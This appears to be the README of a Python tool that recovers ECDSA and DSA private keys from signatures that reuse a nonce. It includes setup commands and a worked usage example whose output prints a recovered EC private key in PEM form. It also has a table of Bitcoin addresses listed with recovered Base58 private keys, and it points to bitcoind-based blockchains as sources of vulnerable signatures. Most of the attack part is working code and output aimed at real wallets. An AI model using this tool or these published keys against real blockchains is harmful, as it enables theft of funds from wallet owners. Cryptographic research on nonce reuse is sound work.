ecdsa-key-recovery

Perform ECDSA and DSA Nonce Reuse private key recovery attacks

A cryptographic research tool for analyzing signature vulnerabilities

Let's recover the private-key for two signatures sharing the same nonce k. Note how choosing the same nonce k results in both signatures having an identical signature value r. To find good candidates for an ECDSA nonce reuse check for signatures sharing the same r, pubkey on curve for different messages (or hashes). E.g. blockchain projects based off bitcoind are usually good sources of ECDSA signature material.

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

# recover the private key
sampleA.recover_nonce_reuse(sampleB)  # populates sampleA with the recovered private key ready for use
print sampleA.privkey 

setup

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Recovering Private Keys from the Bitcoin Blockchain

tools/README.md

BTC Address	Base58 Privkey	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

Example

create recoverable signature objects:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# specify curve
curve = ecdsa.SECP256k1

# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# key not yet recovered
assert (sampleA.x is None)     

recover the private key for sampleA

# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB)    # recover privatekey shared with sampleB
assert (sampleA.x is not None)          # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey

output

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----